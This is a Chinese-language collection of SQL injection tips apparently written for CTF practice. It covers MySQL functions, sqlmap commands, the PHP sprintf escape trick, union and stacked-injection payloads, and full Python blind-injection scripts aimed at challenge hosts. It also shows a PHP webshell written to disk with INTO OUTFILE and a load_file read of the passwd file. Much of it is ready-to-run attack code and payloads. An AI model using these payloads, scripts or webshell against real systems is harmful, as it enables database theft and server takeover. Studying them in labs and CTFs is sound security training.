sql注入的一些tip

一:基础语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
show databases;         //查看数据库

use xxx; //使用某个数据库

show tables; //查看该数据库的数据表

desc xxx; //查看该数据表的结构

select * from xxx; //查找某个数据表的所有内容

select schema_name from information_schema.schemata; //猜数据库

select table_name from information_schema.tables where table_schema='xxxxx'; //猜某数据库的数据表

Select column_name from information_schema.columns where table_name='xxxxx'; //猜某表的所有列

left(a,b) //从左侧截取 a 的前 b 位

mid(column_name,start[,length]) //从位置start开始,截取column_name字符串的length位,与substr作用相同

substr(string, start, length) //从位置start开始,截取字符串string的length长度,与mid作用相同

ascii() //将某个字符转换成ascii码

ord() //将某个字符转换成ascii码,同ascii()

select database() //当前数据库

concat() //能将一些字符串连接一个字符串适用于一条数据

group_concat() //能够将一张表的数据的一些数据分组合并起来,适用性比较广

select @@basedir; //显示文件根目录
show variables like "%char%";
show global variables like '%secure_file_priv%';
select load_file('/ect/passwd'); //读文件 需要开secure-file-priv='/'

select '<?php @eval($_post["mima"])?>' into outfile "位置" //写文件

user(); //当前用户

二、sqlmap使用

github地址为https://github.com/sqlmapproject/sqlmap,功能参考书https://github.com/Kit4y/Sql-Injection/blob/master/Book/sqlmap教程.pdf

一些常用使用命令

1、是否能注入
1
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1"
2、获取所有的数据库
1
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --dbs
3、当前库
1
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --current-db
4、查询某数据库的所有表(比如security)
1
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1"  -D security --tables
5、暴力查询所有的表
1
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1"   --tables
6、列出security库中users表中的所有列
1
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1"   -D security -T users --columns

(-D dbname指定数据库名称、-T tablename:指定某数据表的名称、–columns:列出指定表上的所有列)

7、导出三个数据列中所有的数据
1
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1"   -D security -T users -C id,username,password --dump
8、提供一个sql shell
1
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --sql-shell
9、post
1
python sqlmap.py -u 登录的地址 --data "userid=aaa&passwd=bbbb"
10、添加前缀
1
--prefix="%1$\'" -p username
1
--cookie="PHPSESSID=cf49a9a60da9cc1b547ab98d549ba038"
1
sqlmap -u "http://web59.buuoj.cn/admin.php?id=4" --cookie="PHPSESSID=cf49a9a60da9cc1b547ab98d549ba038" -T flag --dump --flush-session --fresh-queries --fresh-queries --delay 0.1

sqlilabs搭建

1
2
3
4
docker pull acgpiano/sqli-labs

docker run -dt --name sqli-lab -p [你要映射的端口]:80 acgpiano/sqli-labs:latest

三、注释问题

3.1、MySql–三种注释写法

3.1.1、--

后面一定要加空格

3.1.2、#
3.1.3、/**/

3.2、注入尾部为什么是--+而不是--

这里字符-和字符+在URL中都是有固定的含义的 , 比如说+就在URL编码中就代表空格 , 而URL编码中-不用编码。我们也可以不用+ 而使用空格的URL编码 , 那么编码得到的URL就应该是 :

1
id=1%27--%20

3.3、#又为什么必须得编码 , 不编码可以吗 ?

不可以 , 因为# 在URL中是有固定的含义的 , 表示页面中的锚点 , 如果不进行编码浏览器就会将其当成页面的锚点 , 而这里我们是需要将其作为数据传输给服务器的 , 因此需要进行URL编码

四、补充mysql的一些函数

4.1、substr()

substr()函数是用来截取数据库某一列字段中的一部分
常用的方式是:

1
SBUSTR(str,pos); 

就是从pos开始的位置,一直截取到最后。

1
SUBSTR(str,pos,len);

这种表示的意思是,就是从pos开始的位置,截取len个字符(空白也算字符)。
需要注意的是:如果pos为1(而不是0),表示从第一个位置开始。
这点也很好理解,因为数据库不是我们平时写程序,他有他自己的一套习惯,数据库的记录都是从1开始没有从0开始

4.2、ascii(),ord()函数

ASCII(str1)
返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL

1
2
3
4
5
6
7
mysql> select ascii("a");
+------------+
| ascii("a") |
+------------+
| 97 |
+------------+
1 row in set (0.00 sec)

ORD() 函数
ORD() 函数返回字符串第一个字符的ASCII 值。

1
2
3
4
5
6
7
mysql> select ord("a");
+----------+
| ord("a") |
+----------+
| 97 |
+----------+
1 row in set (0.00 sec)

4.3、LEFT()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。

1
LEFT(str,length);

LEFT()函数接受两个参数:
str是要提取子字符串的字符串。length是一个正整数,指定将从左边返回的字符数。

1
2
3
4
5
6
7
mysql> select left("hello Kitty",5);
+-----------------------+
| left("hello Kitty",5) |
+-----------------------+
| hello |
+-----------------------+
1 row in set (0.00 sec)

与之类似的是right(str,length);

1
2
3
4
5
6
7
mysql> select right("hello Kitty",5);
+------------------------+
| right("hello Kitty",5) |
+------------------------+
| Kitty |
+------------------------+
1 row in set (0.00 sec)

4.4、REGEXP

可以在不使用数据库表的情况下用 SELECT 语句来测试正则表达式,REGEXP 检查总是返回0(没有匹配)或1(匹配)。可以用带文字串的 REGEXP 来测试表达式,并试验它们。

1
2
3
4
5
6
7
mysql> SELECT 'kitty' REGEXP '[0-9a-z]{6}';
+------------------------------+
| 'kitty' REGEXP '[0-9a-z]{6}' |
+------------------------------+
| 0 |
+------------------------------+
1 row in set (0.00 sec)
1
2
3
4
5
6
7
mysql> SELECT 'kitty' REGEXP '[0-9a-z]{5}';
+------------------------------+
| 'kitty' REGEXP '[0-9a-z]{5}' |
+------------------------------+
| 1 |
+------------------------------+
1 row in set (0.00 sec)

4.5、MID()

1
SELECT MID(column_name,start[,length]) FROM table_name;

函数用于从文本字段中提取字符。

1
2
3
4
5
6
7
8
9
10
+----+--------------+---------------------------+-------+---------+
| id | name | url | alexa | country |
+----+--------------+---------------------------+-------+---------+
| 1 | Google | https://www.google.cm/ | 1 | USA |
| 2 | 淘宝 | https://www.taobao.com/ | 13 | CN |
| 3 | 菜鸟教程 | http://www.runoob.com/ | 4689 | CN |
| 4 | 微博 | http://weibo.com/ | 20 | CN |
| 5 | Facebook | https://www.facebook.com/ | 3 | USA |
| 7 | stackoverflow | http://stackoverflow.com/ | 0 | IND |
+----+---------------+---------------------------+-------+---------+
1
2
SELECT MID(name,1,4) AS ShortTitle
FROM Websites;

返回结果

4.6、if()

在mysql中if()函数的用法类似于java中的三目表达式,其用处也比较多,具体语法如下:

IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false,

1
2
3
4
5
6
7
8
9
10
mysql> select name,if(sex=0,'女','男') as sex from student;
+-------+-----+
| name | sex |
+-------+-----+
| name1 | 女 |
| name2 | 女 |
| name3 | 男 |
| name4 | 女 |
+-------+-----+
rows in set (0.00 sec)

五、sprintf格式化字符串带来的注入隐患

语句

1
2
3
4
5
6
7
<?php

$input = addslashes("%1$' and 1=1#");
$b = sprintf("AND b='%s'", $input);
...
$sql = sprintf("SELECT * FROM t WHERE a='%s' $b", 'admin');
echo $sql;

通过fuzz得知,在php的格式化字符串中,%后的一个字符(除了’%’)会被当作字符类型,而被吃掉,单引号’,斜杠\也不例外。

如果能提前将%’ and 1=1#拼接入sql语句,若存在SQLi过滤,单引号会被转义成'

1
select * from user where username = '%\' and 1=1#';

然后这句sql语句如果继续进入格式化字符串,\会被%吃掉,’成功逃逸

1
2
3
4
5
6
<?php
$sql = "select * from user where username = '%\' and 1=1#';";
$args = "admin";
echo sprintf( $sql, $args ) ;
//result: select * from user where username = '' and 1=1#'
?>

还可以使用%1$吃掉后面的斜杠,而不引起报错

1
2
3
4
5
6
<?php
$sql = "select * from user where username = '%1$\' and 1=1#' and password='%s';";
$args = "admin";
echo sprintf( $sql, $args) ;
//result: select * from user where username = '' and 1=1#' and password='admin';
?>

具体题目为下方的迎圣诞,拿大奖”活动赛题sqli

六、题目经典payload

1
2
3
4
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata%23
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'security'%23
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name= 'users'%23
-1' union select 1,group_concat(username),group_concat(password) from users%23

“百度杯”CTF比赛 九月场SQLi-过滤了逗号

1
id=1' union select * from (select database()) a join (select version() ) b %23

过滤了空格,逗号,等号,for,and等的盲注,使用^mid函数骚操作

空格用括号代替,等号用<>(一种不等号)代替
异或运算^代替and

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
url="http://123.206.31.85:49167/index.php"
r=requests.session()
def database():
result=""
for i in range(30):
flag = 0
for j in str_all:
payload="admin'^(ascii(mid(database()from({})))<>{})^0#".format(str(i+1),ord(j))
data = {
"username": payload,
"password": "123"
}
s=r.post(url,data)
print(payload)
if "error" in s.text:
result+=j
flag=1
print('**************************',result)
break
if flag == 0:
break
def password():
result=""
for i in range(40):
flag=0
for j in str_all:
payload = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i+1),ord(j))
data = {
"username": payload,
"password": "123"
}
s=r.post(url,data)
print(payload)
if "error" in s.text:
result+=j
flag=1
print('**************************',result)
break
if flag==0:
break
#database()
password()

mid()函数和substring()一样,一种写法是mid(xxx,1,1),另一种是mid(xxx from 1 for 1)但是这里过滤了for和逗号,那么怎么办呢?
这里用到了ascii()取ascii码值的函数,如果传入一个字符串那么就会取第一个字符的字符的ascii码值,这就有了for的作用,并且mid()函数是可以只写from的表示从第几位往后的字符串,我们将取出的字符串在传入ascii()中取第一位,就完成了对单个字符的提取。
每个字符的ascii码判断是不是不等于给定的数字,会得到一个布尔值(0或1)再与结尾的0进行运算。
如果数据库名的第一位的ascii码值不是97,where条件是username='admin'^1^0

[强网杯 2019]随便注-堆叠注入

条件苛刻

1
堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
1
2
3
1';show databases;#
1';show tables; #
0';show columns from `1919810931114514`;#

(翻博客发现数字串为表名的表操作时要加反引号,加上之后发现的确有flag字段)
理论上我们执行
0';select flag,1 from 1919810931114514
但是这题的select被过滤了
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
也可以
-1';use supersqli;show tables;--
直接获取flag
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
其中73656c656374202a2066726f6d20603139313938313039333131313435313460加密为select * from `1919810931114514’
相关知识

1
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

还有骚操作是改表段然后注入获得数据

1
0';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(102),char(108),char(97),char(103),char(32),char(102),char(114),char(111),char(109),char(32),char(96),char(49),char(57),char(49),char(57),char(56),char(49),char(48),char(57),char(51),char(49),char(49),char(49),char(52),char(53),char(49),char(52),char(96));PREPARE a FROM @s;EXECUTE a;

“百度杯”CTF比赛 九月场 SQL

题目描述:
出题人就告诉你这是个注入,有种别走!
http://2733aeef10c94e969b49b24dd9e8a99bbdd989b14f4e482e.changame.ichunqiu.com/index.php?id=1 union se<>lect 1,4,3,学到了学到了<>分离
http://2733aeef10c94e969b49b24dd9e8a99bbdd989b14f4e482e.changame.ichunqiu.com/index.php?id=1 union se<>lect 1,database(),3
获得数据库名字sqli然后一步一步
http://2733aeef10c94e969b49b24dd9e8a99bbdd989b14f4e482e.changame.ichunqiu.com/index.php?id=1 union se<>lect 1,column_name,3 from information_schema.columns where table_schema='sqli' an<>d table_name='info'
http://2733aeef10c94e969b49b24dd9e8a99bbdd989b14f4e482e.changame.ichunqiu.com/index.php?id=1 union se<>lect 1,flAg_T5ZNdrm,3 from info
得到flag

盲注模板“迎圣诞,拿大奖”活动赛题sqli

模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python
# encoding:utf8

import requests
import time
import sys

# config-start
sleep_time = 5
error_time = 1
# config-end

def getPayload(indexOfResult, indexOfChar, mid):
column_name="column_name"
table_name="columns"
database_name="information_schema"
startStr = "admin%1$\\' or "
endStr = " #"
payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " where table_name=0x666c6167 limit " + indexOfResult + ",1 )," + indexOfChar + ",1)))>" + mid + ")"
payload = startStr + payload + endStr
return payload

def exce(indexOfResult,indexOfChar,mid):
# content-start
url = "http://3ce3bb7f26364585b8d7970ae179fe54857ddd7277964f32.changame.ichunqiu.com/"
post_data={"username":getPayload(indexOfResult,indexOfChar,mid),"password":"123"}
print(post_data)
content = requests.post(url,data=post_data)
content.encoding='utf-8'
content=content.text
#print(content)
# content-end
# judge-start
if "password error!" in content:
return True
else:
return False
# judge-end
def exceGet(indexOfResult,indexOfChar,mid):
# content-start
url = "http://localhost/sqli-labs-master/Less-5/?id="
tempurl = url + getPayload(indexOfResult,indexOfChar,mid)
content = requests.get(tempurl).text
# content-end
# judge-start
if "You are in..........." in content:
return True
else:
return False
# judge-end

def doubleSearch(indexOfResult,indexOfChar,left_number, right_number):
while left_number < right_number:
mid = int((left_number + right_number) / 2)
if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)):
left_number = mid
else:
right_number = mid
if left_number == right_number - 1:
if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)):
mid += 1
break
else:
break
return chr(mid)

def search():
for i in range(32): # 需要遍历的查询结果的数量
counter = 0
for j in range(32): # 结果的长度
counter += 1
temp = doubleSearch(i, j, 0, 127) # 从255开始查询
if ord(temp) == 1: # 当为1的时候说明已经查询结束
break
sys.stdout.write(temp)
sys.stdout.flush()
if counter == 1: # 当结果集的所有行都被遍历后退出
break
sys.stdout.write("\r\n")
sys.stdout.flush()

search()

获得库ctf

1
2
3
4
5
6
7
8
9
def getPayload(indexOfResult, indexOfChar, mid):
column_name="schema_name"
table_name="schemata"
database_name="information_schema"
startStr = "admin%1$\\' or "
endStr = " #"
payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")"
payload = startStr + payload + endStr
return payload

获得表名flag

1
2
3
4
5
6
7
8
9
def getPayload(indexOfResult, indexOfChar, mid):
column_name="table_name"
table_name="tables"
database_name="information_schema"
startStr = "admin%1$\\' or "
endStr = " #"
payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " where table_schema=database() limit " + indexOfResult + ",1 )," + indexOfChar + ",1)))>" + mid + ")"
payload = startStr + payload + endStr
return payload

获得字段flag

1
2
3
4
5
6
7
8
9
def getPayload(indexOfResult, indexOfChar, mid):
column_name="table_name"
table_name="tables"
database_name="information_schema"
startStr = "admin%1$\\' or "
endStr = " #"
payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " where table_name = 0x666c6167 limit " + indexOfResult + ",1 )," + indexOfChar + ",1)))>" + mid + ")"
payload = startStr + payload + endStr
return payload

获得数据

1
2
3
4
5
6
7
8
9
def getPayload(indexOfResult, indexOfChar, mid):
column_name="flag"
table_name="columns"
database_name="flag"
startStr = "admin%1$\\' or "
endStr = " #"
payload = "((ascii(substring((select " + column_name + " from " + database_name + " limit " + indexOfResult + ",1 )," + indexOfChar + ",1)))>" + mid + ")"
payload = startStr + payload + endStr
return payload

花式盲注ciscn_2019_web_northern_china_day2_web1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import time
import requests


url = 'http://7ccdf96a-66d5-4601-a1f0-4a3cba45893c.node3.buuoj.cn/index.php'
flag = ''

for i in range(32,50):
#从33到126为可打印的字符
low = 33
height = 126
data = {'id':''}

while low <= height :
mid = (low + height) // 2
data['id'] = 'if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)'%(i,mid)
html = requests.post(url,data).text
time.sleep(1)
if 'Hello' in html :
low = mid + 1
else:
#将小于和等于的情况一起考虑,所以在low~mid中间寻找
height = mid
#出现low = height = mid,若不判断会进入死循环
if height == mid == low:
break

flag += chr(int(mid))
print(flag)